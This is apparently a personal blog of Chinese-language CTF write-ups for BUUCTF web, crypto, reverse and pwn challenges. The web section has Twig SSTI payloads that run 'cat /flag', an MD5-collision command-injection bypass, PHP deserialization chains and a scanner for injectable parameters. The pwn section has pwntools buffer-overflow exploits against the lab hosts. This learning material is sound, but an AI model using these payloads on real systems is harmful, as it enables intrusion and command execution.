ctf刷题和一些比赛wp

BUUCTF刷题:

WEB

[BJDCTF2020]Cookie is so stable(SSTI twig)

cbcee6b8-e37d-4bfb-b593-2aff8c035098

题目是cookie is so stable,猜测可能跟cookie有关,所以用burp抓包:

Cookie: PHPSESSID=ed212f203d1b6c569551fe6827911ff2
Upgrade-Insecure-Requests: 1

username=1&submit=submit

然后就怀疑是cookie注入,然后就没有然后了,想不出来洞在哪,翻了翻hint.php

ca218e3df636498596d2b1ba878087f9.png

这个hint并没有啥用,在经过痛苦的尝试后发现如果直接访问logout.php,会出现:

fec79aa995ea42c186d0a84cf0029160.png

(小黑子,露出鸡脚了吧),但尝试过后似乎对解题并无帮助,好痛苦!!!

然后上网看看大佬的wp(只看到ssti就立马关了),发现是ssti

查看这位大佬的文章1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

构造出bmjoker{# comment #}{{2*8}}OK,回显Hello bmjoker16OK ,判断模板为Twig

随便尝试了几次注入,发现是有黑名单过滤的,然后简单了解了一下twig,还是不会注入

然后就看了看wp以Twig模板为例浅学一手SSTI - FreeBuf网络安全行业门户

我用的是上面这位大佬的构造:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[安洵杯 2019]easy_web(RCE)

打开题目发现url处有cmd参数,猜测是注入点,使用sqlmap并无结果。但是将img参数和cmd参数同时改为1后发现出现了:

5fb9aed8e4b34f699ce6110c47fc1180.png

然后猜测可能是将这两参数的md5值进行比较,然后随便找了两个值满足弱相等条件下判断为真,但是结果并没有什么用,如果在cmd处输入ls,就会返回forbid;貌似img参数并没有什么用。在这试了很久都没啥用。这道题完全没思路啊,只能膜拜大佬的wp了,呜呜呜。

看了看这位大佬的wp,发现原来我重心放错了,这道题突破口关键就是在image上

[安洵杯 2019]easy_web_[安洵杯 2019]easy_web 1-优快云博客

TXpVek5UTTFNbVUzTURabE5qYz0将这串码进行base64解码(我也不知道他们怎么看出来这是base64的,我只知道后面有等号的大概率是base64)得到MzUzNTM1MmU3MDZlNjc=,再解码得3535352e706e67,貌似不是base64了,然后就随便试试发现是十六进制得到555.png。因此通过这个可以大胆猜测能得到源码,于是对“index.php”加密得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,cmd传参得到

src="data:image/gif;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4="

对其解码得到

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

这里有个小点子可以记记,貌似对于一串数字进行两次base64后都是T开头。

由于这里是强相等还都有string转化,所以只能用md5碰撞

【精选】【PHP】MD5比较漏洞 弱比较、强比较、强碰撞_php 弱比较强比较-优快云博客

构造为:

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

但我在hackbar上传参就没有绕过,在burp上就可以了,不知道怎么回事。

好了,下面开始系统命令注入

这次貌似把我能想到的绕过方式都给禁了,试了试数组绕过,绕是绕过了,但没有命令执行。

然后突然想到没禁whoami,注入后有回显,那这道题可能考的就是windows命令

cmd=dir%20/

使用dir扫描根目录,成功发现flag

<img src='data:image/gif;base64,'></img><br>dir /<br>bin   dev  flag  lib	media  opt   root  sbin  sys  usr
boot  etc  home  lib64	mnt    proc  run   srv	 tmp  va

但后面发现其实不用这么复杂,还有rev命令可以用

cmd=rev%20/flag

得到flag:

/flag<br>}c1d9402fada1-87cb-6c74-54c4-efacdb61{galf

[MRCTF2020]Ezpop(反序列化)

打开题目一看,不多说,考的是反序列化。

 <?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

这道题想了很久,然后在资料的途中发现了一道跟这题大差不差的题,我的问题主要是出在我一直考虑的是一个类,没想到这三个类还能一起构成一条链,学到了学到了。

php反序列化总结(一)___invoke反序列化-优快云博客

然后自己尝试写了一个构造,但是什么没返回。

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$a = new Modifier();
$b = new Test();
$b->p = $a;
$c = new Show();
$c -> str = $b;
$c -> source = $c;
echo serialize($c);

又只能跑去看大佬的wp了

看完之后发现是有个小点我没注意到就是protected序列化后会出现不可见字符,所以还需要对它进行url编码。

最后得到:

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezk1MmQ0ZWRjLTJlYjItNGQ1OS04MmRhLWVlMzI2ZTgyYmMxMn0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

base64解码:

<?php
class Flag{
    private $flag= "flag{952d4edc-2eb2-4d59-82da-ee326e82bc12}";
}
echo "Help Me Find FLAG!";
?>

[强网杯 2019]高明的黑客(py)

打开后提示到www.tar.gz下载源码,打开压缩包发现很多个php文件,搜索字符串flag,无结果。

这道题就很让人摸不着头脑,不知道它的考点在哪。

简单看了一下wp,思路是找到类似system,eval之类的能注入命令的php文件,由于这道题php文件太多,只能使用python脚本来找,但是写python脚本有一个很大的问题就是,怎么知道这个注入的方法是有效,大佬们给出的方法是传参echo 加个字符串,如果执行就能正常注入,于是根据大佬的脚本,自己摸索着写了脚本

[强网杯 2019]高明的黑客_强网杯2019高明的黑客_Sk1y的博客-优快云博客

刚开始用的单线程,实在是太慢了,跑了很久都还没结果:

import os
import re
import requests

a = re.compile(r"GET\[\'[\w]*\'\]")
dir = os.listdir("D:\phpstudy_pro\WWW\src")
for i in dir:
    with open('D:\\phpstudy_pro\\WWW\\src\\'+i, 'r', encoding='utf-8') as f:
        data = f.read()
        data = a.findall(data)
        for j in data:
            j = j.split("'")[1]
            url = "http://127.0.0.1/src/"+i+"?"+j+"=echo '123456789';"
            response = requests.get(url)
            print('-')
            if '123456789' in response:
                print(url)
                os.system("pause")


后面于是改用多线程,也是模仿大佬的思路、

[强网杯 2019]高明的黑客(考察代码编写能力)_强网杯2019高明的黑客-优快云博客

这里有几个点可以提高速度,一个是采用多线程,一个是把所有参数一起请求,如果成功再来分是哪个参数起作用
 

import os
import re
import requests
import threading

s = threading.Semaphore(100)
requests.adapters.DEFAULT_RETRIES = 5
a = re.compile(r"GET\[\'[\w]*\'\]")
dir = os.listdir("D:\phpstudy_pro\WWW\src")
def fileread():
    s.acquire()
    with open('D:\\phpstudy_pro\\WWW\\src\\' + i, 'r', encoding='utf-8') as f:
        data = f.read()
        data = a.findall(data)
        for j in range(0, len(data)):
            data[j] = data[j].split('\'')[1]
        d = {}
        for j in data:
            d[j] = "echo '123456789';"
        url = "http://127.0.0.1/src/" + i
        http = requests.Session()
        response = http.get(url, params=d)
        http.close()
        print(url)
        if '123456789' in response.text:
            print('success')
            for j in data:
                response = requests.get(url+'?'+j+'='+"echo '123456789';")
                if '123456789' in response.text:
                    print(response.url)
                    exit()

    s.release()

for i in dir:
    t = threading.Thread(target=fileread(), args=())
    t.start()


跑得还是没有大佬的快,但是也还可以接受。

最后得到结果:

success
http://127.0.0.1/src/xk0SzyKwfzw.php?Efa5BVG=echo%20'123456789';

然后在环境进行注入得到flag

http://6ae8ef33-795e-4207-bf48-c419fc96b74d.node4.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag;

array(1) { [0]=> string(8) "wiMI9l7q" } array(1) { [0]=> string(3) "NPK" }
Warning: assert(): assert($_GET['xd0UXc39w'] ?? ' '): " " failed in /var/www/html/xk0SzyKwfzw.php on line 20
Array ( ) string(5) "vCvMl" PSlarray(1) { [0]=> string(8) "Ph7u_Cwv" } array(1) { [0]=> string(10) "idch8Z7Sn6" } array(1) { [0]=> string(9) "djD1Ytoul" } array(1) { [0]=> string(11) "Egx6a0p6kUP" } string(9) "jYmlyYvLz" VSYcTArray ( ) string(8) "hi5LWnZd" array(1) { [0]=> string(9) "dJREkNffr" } Array ( ) KuuSMt1string(8) "jyUmr9W_" array(1) { [0]=> string(4) "XQhY" } _68ccP9KGXOAPTUGDAArray ( ) Array ( ) MR8s3nFnarray(1) { [0]=> string(10) "FWefOFK4g7" } array(1) { [0]=> string(9) "iZFnwUgPf" } Array ( ) THRQINrpUJvf641flag{bd3e363a-fbbc-4013-9725-6730e9d641c3} array(1) { [0]=> string(6) "KLRXmV" } array(1) { [0]=> string(2) "Tw" } Array ( ) array(1) { [0]=> string(8) "oCoznfQZ" } gi9Array ( ) czuhsLFVgQstring(7) "l5kR5oo" End of File

[安洵杯 2019]easy_serialize_php(反序列化:键值逃逸)

先粗略看一眼是php代码审计

这道php审计貌似是真难,我主要卡住了

$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
$serialize_info = filter(serialize($_SESSION));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));

我不知道经过base64和sha1加密后,再用base64解密来怎么绕过。有句话说的真对,题目带easy的都不easy。根据题目提示应该是session反序列化,但是这块没怎么学过。查了一下资料,session反序列化主要是利用session.serialize_handler的三种引擎格式的不同来制造漏洞,这道题的引擎是php,但是还是不知道怎么做,看看wp吧。

[安洵杯 2019]easy_serialize_php - 何止(h3zh1) - 博客园 (cnblogs.com)

看完之后直呼太妙了,首先根据提示可以在phpinfo里找到flag位置在d0g3_f1ag.php

然后就其实是我忽略了一个非常重要的注入点

extract($_POST);

这段代码会从POST请求里提取出变量并把原来的覆盖掉,这里就是注入点。

然后就是反序列化的键值逃逸,非常妙。

在反序列化的时候,unserialize函数会自动把;}"外面的值丢掉,也就是我可以故意在数据块中赋值为一个末尾带有;}"的字符串,从而在反序列化时将后面的image覆盖掉。

_SESSION['phpflag']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这就是构造,在加上image变量并序列化后这段代码会变成

a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

然后经过filter过滤后

a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

然后注意看第一个参数就会变成";s:48:,第一个键所对应的值为s:1:"1",这也就是了为啥在构造的时候前面要加;s:1:"1"。

然后注入,出现

?php

$flag = 'flag in /d0g3_fllllllag';

?

将值改为/d0g3_fllllllag的base64值,进行注入,得到flag

[MRCTF2020]PYWebsite

这道题貌似只能通过md5爆破来实现,反正我的思路就是这样,但是来爆破md5确实有点不太现实,看了wp我只能说我怎么没想到啊,正解如下:

在flag.php界面

a6ecf6f08174445989a365b09c348504.png

保存购买者ip已经提示我了,但我当时不知道怎么没想到,再加上前面那几道题的难题,我以为没这么简单。

在burp伪造ip地址为127.0.0.1发送得到flag,唉真简单我怎么没想到呢。

Crypto

password

压缩包内容为

姓名:张三
生日:19900315
key格式为key{xxxxxxxxxx}

flag不会是key{19900315}吧?

好吧并没有这么简单。

想了一下,刚好zhangsan和19900315长度一样。将每个字母加上偏移量,得到aqjngvbs,错误。看看wp吧。看完之后,啊哈。就是由于key十位,然后由于大家在输密码时通常会缩写自己的名字,所以就是flag{zs19900315},我想复杂了。

变异凯撒

题目为变异凯撒,肯定跟凯撒密码有关,但是凯撒密码是26个字母内的,这里有其它特殊字符还有数字,查看ascii码表,看看有无关系,并没有找到关系,又拿凯撒密码试了试,并没有得到明文。

wp启动,还是啊哈,不愧是变异凯撒。

拿flag与密文进行比较

a到f是5,f到l是6,Z到a是7

虽然写程序算方便,但我直接手算

由此推得密文为flag{Caesar_variation}

Quoted-printable

密文中有很多等号,很明显题目是关键搜索,搜索到这是电子邮件的一种编码方式,利用在线网址解码

http://web.chacuo.net/charsetquotedprintable

得到明文”“你真的很棒哦”,很怪,得到flag

Rabbit

不多说,肯定是rabbit加密

利用在线网站解密,得到Cute_Rabbit

篱笆墙的影子

根据题目,大胆猜测是栅栏加密,解密得flag{wethinkwehavetheflag}

RSA

博主由于没有电脑,直接用纸笔算的,但这道题还好,先算出N=p*q,再求出N的欧拉函数a,然后再用广义欧几里得方法求出在模a下e的乘法逆元。得到d为125631357777427553

丢失的md5

得到一段程序,稍微改下,丢到Python运行

import sys

import os

import hashlib   

for i in range(32,127):

    for j in range(32,127):

        for k in range(32,127):

            m=hashlib.md5()

            str='TASC'+chr(i)+'O3RJMV'+chr(j)+'WDJKX'+chr(k)+'ZM'

            m.update(str.encode('utf-8'))

            des=m.hexdigest()

            if 'e9032' in des and 'da' in des and '911513' in des:

                print(str)

                print(des)

TASCJO3RJMVKWDJKXLZM

e9032994dabac08080091151380478a2

然后得到flag {e9032994dabac08080091151380478a2}

但是这道题题目吧,没说是把明文作为flag还是把md5值作为flag

Alice与Bob

看到题目就知道是RSA,两位经典男女主角,看看题干吧。woc,经典大素数分解题。将98554799767分解成两个素数。找了一个分解整数的网站,成功将其分解成101999和966233,再将101999966233进行md5加密得到d450209323a847c8d01c6be47c81811a

大帝的密码武器

先看题目,盲猜凯撒密码。果然是的,先对FRPHEVGL解密,偏移量为13,得到SECURITY,然后用同样的方法对ComeChina加密,得到PbzrPuvan,那么flag就为flag{PbzrPuvan}

rsarsa

电脑拿去修了,我尝试不用脚本,但难度太高了,放在这把。

Windows系统密码

在网上搜索查到Windows系统密码采用md5加密,很明显藏在ctf开头的那一段,将06af9108f2e1fecf144e2e8adef09efd拿去解密,无结果,再拿a7fcb22a88038f35a8f39d503e7f0062解密得到good-luck,得到flag{good-luck}

信息化时代的步伐

说实话这道题,之前碰到过类似的,是中文电码加密。解密得到计算机要从娃娃抓起。

凯撒?替换?呵呵!

先用凯撒密码试试,很明显是凯撒密码的变种。说实话这道题我不知道是怎么解出来,在网上找了个网站然后flag就被解出来了,https://quipqiup.com/

flag为flag{substitutioncipherdecryptionisalwayseasyjustlikeapieceofcake}。看看wp,貌似大家都是用这个工具解的,这道题是凯撒加单表替换密码。

萌萌哒的八戒

打开题目,是头小猪,下面一看就是猪圈密码。在网上找到猪圈密码对照表,得到whenthepigwanttoeat

传统知识+古典密码

第一个是天干地支解成对应的数字

28 30 23 8 17 10 16 30 1

第二个实在是不知道是咋编码的,提示是曼联,说实话我只知道有个球队叫曼联,看看wp吧。

看完之后我只能说,你这道题玩我呢,第二个文本跟这道题没关系。但是第一道题我做错了,他后面那个“+甲子”是每个都加上甲子,我理解成加在字符串的后面了,然后重新得到

88 90 83 68 77 70 76 90

然后一般像这种整数都是ASCII码

转换成

XZSDMFLZ

这明显应该是凯撒密码,但我看wp说很容易看出是栅栏密码,说实话,我没看出来。只能一个个试试,我试出来是2栏解密为XMZFSLDZ,然后凯撒加密25位得SHUANGYU,说实话这道题明文并不明显,如果改成flag可能会更清晰。

权限获得第一步

打开题目一看,和上面那道Windows系统密码差不多,md5解密得3617656,即为flag。

RSA1

放这吧,等电脑回来再说

世上无难事

用工具https://quipqiup.com/

得码得

HELLO EVERYBODY THANK YOU ALL RIGHT EVERYBODY GO AHEAD AND HAVE A SEAT HOW IS EVERYBODY DOING TODAY HOW ABOUT TIM SPICER WE ARE HERE WITH STUDENTS AT WAKEFIELD HIGH SCHOOL IN ARLINGTON VIRGINIA AND WE HAVE GOT STUDENTS TUNING IN FROM ALL ACROSS AMERICA FROM KINDERGARTEN THROUGH 12TH GRADE AND WE ARE JUST SO GLAD THAT ALL COULD JOIN US TODAY AND WE WANT TO THANK WAKEFIELD FOR BEING SUCH AN OUTSTANDING HOST GIVE YOURSELVES A BIG ROUND OF APPLAUSE AND THE KEY IS 640E11012805F211B0AB24FF02A1ED09https://quipqiup.com/

得到flag,注意最好要转换成小写

old-fashion

得到一串看不懂的字符串

Os drnuzearyuwn, y jtkjzoztzoes douwlr oj y ilzwex eq lsdexosa kn pwodw tsozj eq ufyoszlbz yrl rlufydlx pozw douwlrzlbz, ydderxosa ze y rlatfyr jnjzli; mjy gfbmw vla xy wbfnsy symmyew (mjy vrwm qrvvrf), hlbew rd symmyew, mebhsymw rd symmyew, vbomgeyw rd mjy lxrzy, lfk wr dremj. Mjy eyqybzye kyqbhjyew mjy myom xa hyedrevbfn lf bfzyewy wgxwmbmgmbrf. Wr mjy dsln bw f1_2jyf-k3_jg1-vb-vl_l

还是丢到工具里,

    Xl fogkvryoeksg, e hjdhvxvjvxrl fxksao xh e zavsrb rc alfrbxly dg wsxfs jlxvh rc knexlvaiv eoa oaknefab wxvs fxksaovaiv, effrobxly vr e oayjneo hghvaz; the units may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The receiver deciphers the text by performing an inverse substitution. So the flag is n1_2hen-d3_hu1-mi-ma_a

这工具真好用,得到flag

Unencode

搜到有一种编码方式是uuencode,解得flag{dsdasdsa99877LLLKK}

RSA3

以后再说

[AFCTF2018]Morse

打开一看,貌似是真做过,摩斯密码,解密得明文

61666374667b317327745f73305f333435797d

但这并不是flag,应该是16进制,转成字符串得

afctf{1s't_s0_345y}

还原大师

这道题跟残缺的md5那道题类似,直接将那道题的py脚本拿来用,答案只是一样的,只是这道题要转成大写

[GXYCTF2019]CheckIn

打开一看末尾两个等号,大概率base64

解码得到

v)*L*_F0<}@H0>F49023@FE0#@EN

怎么感觉是uuencode,试试,并不是。

但这玩意是啥编码呢,看看wp,是rot47,怎么说呢rot系列只能说是大号的凯撒密码,明文从26个字母变成了ascii码罢了,因为这道题有很多特殊符号,所以说应该是rot系列。

解密得

GXY{Y0u_kNow_much_about_Rot}

Cipher

只能说束手无策,这道题,看看wp吧

我实在是没想到,公平的玩吧居然提示了是playfair密码,这谁知道。同时密钥也是playfair,只能说靠硬记了

最后解得itisnotaproblemhavefun

密码学的心声

得到一个曲谱,然后将其中的数提出来

11111415716614512314514316516215

1164171126145162171115165143150

很明显是八进制,直接在ascii码表中找到每个八进制对应的字符,解得

ILoveSecurityVeryMuch

[BJDCTF2020]这是base??

这道题是base,又不完全是base,它把base所映射的表变成乱序了,然后我就去了解了一下的原理,先把一个字符换成所对应的ASCII码,然后转成8位二进制数,然后每六个二进制数分为一组,也就是说将3个字符换成4个,不够用0补位,然后就去对应表,因为全0时对应的是=,这也解释了为啥base64末尾常有=,然后就根据这个原理求解,最后解得

BJD{D0_Y0u_kNoW_Th1s_b4se_map}

达芬奇密码

看到这玩意我首先想到的是有一部电影跟它同名,但并没有关系。看了wp后,才知道考的是斐波那契数列,因为数字列中每一个数字都和下面的数字串中每一个个位数相对应,将数字列中的数按照斐波那契数列排好顺序,即可得到字符串。

解得

37995588256861228614165223347687

[WUSTCTF2020]佛说:只能四天

很明显是神秘的佛语加密,又有提示说分为旧约和新约,一般像提示说分旧约和新约的都是新佛曰论禅,解密得

平等文明自由友善公正自由诚信富强自由自由平等民主平等自由自由友善敬业平等公正平等富强平等自由平等民主和谐公正自由诚信平等和谐公正公正自由法治平等法治法治法治和谐和谐平等自由和谐自由自由和谐公正自由敬业自由文明和谐平等自由文明和谐平等和谐文明自由和谐自由和谐和谐平等和谐法治公正诚信平等公正诚信民主自由和谐公正民主平等平等平等平等自由和谐和谐和谐平等和谐自由诚信平等和谐自由自由友善敬业平等和谐自由友善敬业平等法治自由法治和谐和谐自由友善公正法治敬业公正友善爱国公正民主法治文明自由民主平等公正自由法治平等文明平等友善自由平等和谐自由友善自由平等文明自由民主自由平等平等敬业自由平等平等诚信富强平等友善敬业公正诚信平等公正友善敬业公正平等平等诚信平等公正自由公正诚信平等法治敬业公正诚信平等法治平等公正友善平等公正诚信自由公正友善敬业法治法治公正公正公正平等公正诚信自由公正和谐公正平等

也是价值观加密,解密得

RLJDQTOVPTQ6O6duws5CD6IB5B52CC57okCaUUC3SO4OSOWG3LynarAVGRZSJRAEYEZ_ooe_doyouknowfence

最后有个fence,那肯定是栅栏加密,但我试了很多栏都没有结果,我想着题目里有佛说只能四天,我把四栏的结果拿去试试也还是不行。然后看了wp,原来要把后面的_doyouknowfence去掉再解密,最后得到

R5UALCUVJDCGD63RQISZTBOSO54JVBORP5SAT2OEQCWY6CGEO53Z67L_doyouknowCaesar

提示是凯撒加密,然后解密,但是每一个凯撒的值都没有特殊的出现,然后我看wp才知道是base32,原因是base32是由大小字母和数字构成的。然后就讲每一个凯撒解密后的值进行base32解密,最后偏移量为23时,解得flag为

wctf2020{ni_hao_xiang_xiang_da_wo}

[MRCTF2020]古典密码知多少

通过网上搜索,得知这道题是猪圈密码,圣堂武士,银河密码混在一起的。然后解出

FGCPFLIRTUASYON

提示为栅栏密码,又解码得

FLAGISCRYPTOFUN

最后交flag的时候要注意flag里的内容是CRYPTOFUN

Reverse

easyre

这道题简单的让我无语,首先用IDA分析exe分件,查看字符串,发现flag

.rdata:0000000000429005	00000017	C	flag{this_Is_a_EaSyRe}

reverse1

因为才入坑逆向坑,我也是看wp按图索骥,简单来说就是先查看字符串,发现有个

.rdata:0000000140019C90    00000019    C    this is the right flag!\n

然后点进去查看交叉引用列表

发现这个地方出现了分支,一半是wrong flag,一半是right flag,对其F5查看伪代码

for ( j = 0; ; ++j )
  {
    v10 = j;
    if ( j > j_strlen(Str2) )
      break;
    if ( Str2[j] == 'o' )
      Str2[j] = '0';
  }
  sub_1400111D1("input the flag:");
  sub_14001128F("%20s", Str1);
  v5 = j_strlen(Str2);
  if ( !strncmp(Str1, Str2, v5) )
    sub_1400111D1("this is the right flag!\n");
  else
    sub_1400111D1("wrong flag\n");
  return 0;

很明显是先将str2中所有o换成0,然后与str1进行比较,所以真正的flag应该是flag{hell0_w0rld}

新年快乐

无从下手啊,查看字串,啥都没有,查看函数,几十个变量也看不懂,原来还要脱壳。

先用查壳工具,查到是upx壳,然后再用linux对其脱壳,再反汇编得到伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char Str2[14]; // [esp+12h] [ebp-3Ah] BYREF
  char Str1[44]; // [esp+20h] [ebp-2Ch] BYREF

  __main();
  strcpy(Str2, "HappyNewYear!");
  memset(Str1, 0, 32);
  printf("please input the true flag:");
  scanf("%s", Str1);
  if ( !strncmp(Str1, Str2, strlen(Str2)) )
    return puts("this is true flag!");
  else
    return puts("wrong!");
}

flag为flag{HappyNewYear!}

pwn

rip

本题wp主要是参考大佬的BUUCTF (PWN) RIP详细分析_buuctf rip pwn 解法-优快云博客

这道题是关于栈溢出的,gets未限制输入

; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 10h
lea     rdi, s          ; "please input"
call    _puts
lea     rax, [rbp+s]
mov     rdi, rax
mov     eax, 0
call    _gets
lea     rax, [rbp+s]
mov     rdi, rax        ; s
call    _puts
lea     rdi, aOkBye     ; "ok,bye!!!"
call    _puts
mov     eax, 0
leave
retn
; }

明显有个压入栈的过程,然后发现s最大输入为15字符

然后写脚本

from pwn import *

p = remote('node4.buuoj.cn', 29950)
str = b'a' * 15 + p64(0x401186)
p.sendline(str)
p.interactive()

0x401186是fun函数的位置,fun函数中含有system('/bin/sh'),可以执行任意代码

最后输入cat flag得到代码

[x] Opening connection to node4.buuoj.cn on port 29950
[x] Opening connection to node4.buuoj.cn on port 29950: Trying 117.21.200.166
[+] Opening connection to node4.buuoj.cn on port 29950: Done
[*] Switching to interactive mode
cat flag
flag{22135e9d-b6ee-47ae-a19f-02201287493e}

warmup_csaw_2016

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

这段程序是前面先打出提示,然后将输入值保存在v5里然后return,用nc连接就是这种

┌──(rota㉿kail)-[~]
└─$ nc node4.buuoj.cn 29132
-Warm Up-
WOW:0x40060d
>1111111

我以为这道题也是栈溢出,查看v5发现是占64位,然后用py脚本结果并不是,然后看wp吧

这道题还真是栈溢出,是我脚本写错了,我的exp如下

import pwn
from pwn import *

p = remote('node4.buuoj.cn', 28348)
str1 = b'a'*64 + p64(0x40060d)
p.sendline(str1)
p.interactive()

